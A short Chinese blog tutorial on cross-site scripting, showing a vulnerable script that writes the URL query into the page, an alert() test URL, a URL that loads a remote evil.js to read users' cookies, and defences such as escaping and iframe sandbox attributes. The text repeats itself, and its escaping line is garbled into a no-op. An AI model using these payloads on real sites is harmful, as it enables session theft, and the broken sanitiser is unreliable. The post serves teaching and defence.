跨站脚本(XSS)
2014-06-06 18:12
239 查看
跨站脚本: cross-site scripting或者XSS, 即攻击者向目标Web站点注入HTML标签或者脚本
如果网站没有通过移除任何嵌入的HTML标签来消毒,那么web页面很容易受到跨站脚本攻击
简单例子:
下面的js脚本时向用户say hello
eg: http://www.example.com/greet.html?wish
此时输出Hello, wish
如果通过http://www.example.com/greet.html%3Cscript%3Ealert('(*^__^*)')%3C/script%3E调用,则页面会执行js脚本 并且弹出对话框(*^__^*)
当然如果在后面嵌入script文件则可进行其他的攻击如下:
则B站点的evil.js会嵌入到example.com中,并对站点A的内容进行任何想要的操作,也可以读取cookie中用户相关信息
通常防止XSS攻击的方式是,在使用任何不可信的数据来动态创建文档内容之前,应该从中移除HTML标签
当然在IE8中可以使用toStaticHTML()方法
在HTML5中增加了sandbox,增强了iframe可靠性
eg:
allow-scripts 允许在沙盒中执行JavaScript脚本
allow-forms 允许在沙盒中提交表单
allow-same-origin 允许在沙盒中存取由同源完全策略保护的API
allow-top-navigation 允许在沙盒中将内容变更为最顶层的窗口
ms-allow-popups 允许在沙盒中弹出窗口
eg:如想允许执行脚本:
如果网站没有通过移除任何嵌入的HTML标签来消毒,那么web页面很容易受到跨站脚本攻击
简单例子:
下面的js脚本时向用户say hello
<script> var name = decodeURIComponent(window.location.search.subString(1)) || ""; document.write("Hello " + name); </script>
eg: http://www.example.com/greet.html?wish
此时输出Hello, wish
如果通过http://www.example.com/greet.html%3Cscript%3Ealert('(*^__^*)')%3C/script%3E调用,则页面会执行js脚本 并且弹出对话框(*^__^*)
当然如果在后面嵌入script文件则可进行其他的攻击如下:
http://www.example.com?name = %3Cscript src = siteB/evil.js%3E%3C/script%3E
则B站点的evil.js会嵌入到example.com中,并对站点A的内容进行任何想要的操作,也可以读取cookie中用户相关信息
通常防止XSS攻击的方式是,在使用任何不可信的数据来动态创建文档内容之前,应该从中移除HTML标签
name = name.replace(/</g, "<").replace(/>/g, ">");
当然在IE8中可以使用toStaticHTML()方法
在HTML5中增加了sandbox,增强了iframe可靠性
eg:
<iframe src="demo_iframe_sandbox.htm" sandbox=""></iframe> 只有添加了下面的属性值后在ifame中才允许相关的操作 相关属性:
allow-scripts 允许在沙盒中执行JavaScript脚本
allow-forms 允许在沙盒中提交表单
allow-same-origin 允许在沙盒中存取由同源完全策略保护的API
allow-top-navigation 允许在沙盒中将内容变更为最顶层的窗口
ms-allow-popups 允许在沙盒中弹出窗口
eg:如想允许执行脚本:
<iframe src="demo_iframe_sandbox.htm" sandbox="allow-scripts">
相关文章推荐
- asp 网站 XSS跨站脚本漏洞如何修复
- Asp.net安全架构之xss(跨站脚本)
- 跨站脚本-xss
- Asp.net安全架构之1:xss(跨站脚本)
- 针对XSS跨站脚本漏洞 javascript 示例
- XSS跨站脚本与CSRF跨站请求伪造
- XSS跨站脚本小结(转)
- 【安全牛学习笔记】手动漏洞挖掘-SQL注入XSS-简介、跨站脚本检测和常见的攻击利用手段
- xss跨站脚本测试
- 跨站脚本(Cross-Site-Script,XSS)
- XSS漏洞(跨站脚本)
- PHPWind论坛5.3版postupload.php附件文件名跨站脚本漏洞(XSS)
- 跨站脚本专题(XSS)
- 跨站脚本(XSS)的一些问题,解决<script>alert(42873)</script>
- JavaScript学习笔记-跨站脚本(Cross-site scripting,CSS,XSS)漏洞
- XSS跨站脚本测试用例
- XSS跨站脚本小结
- 【安全牛学习笔记】XSS-简介、跨站脚本检测和常见的攻击利用手段
- Struts1.x 跨站脚本(XSS)漏洞的解决
- 【安全牛学习笔记】XSS-简介、跨站脚本检测和常见的攻击利用手段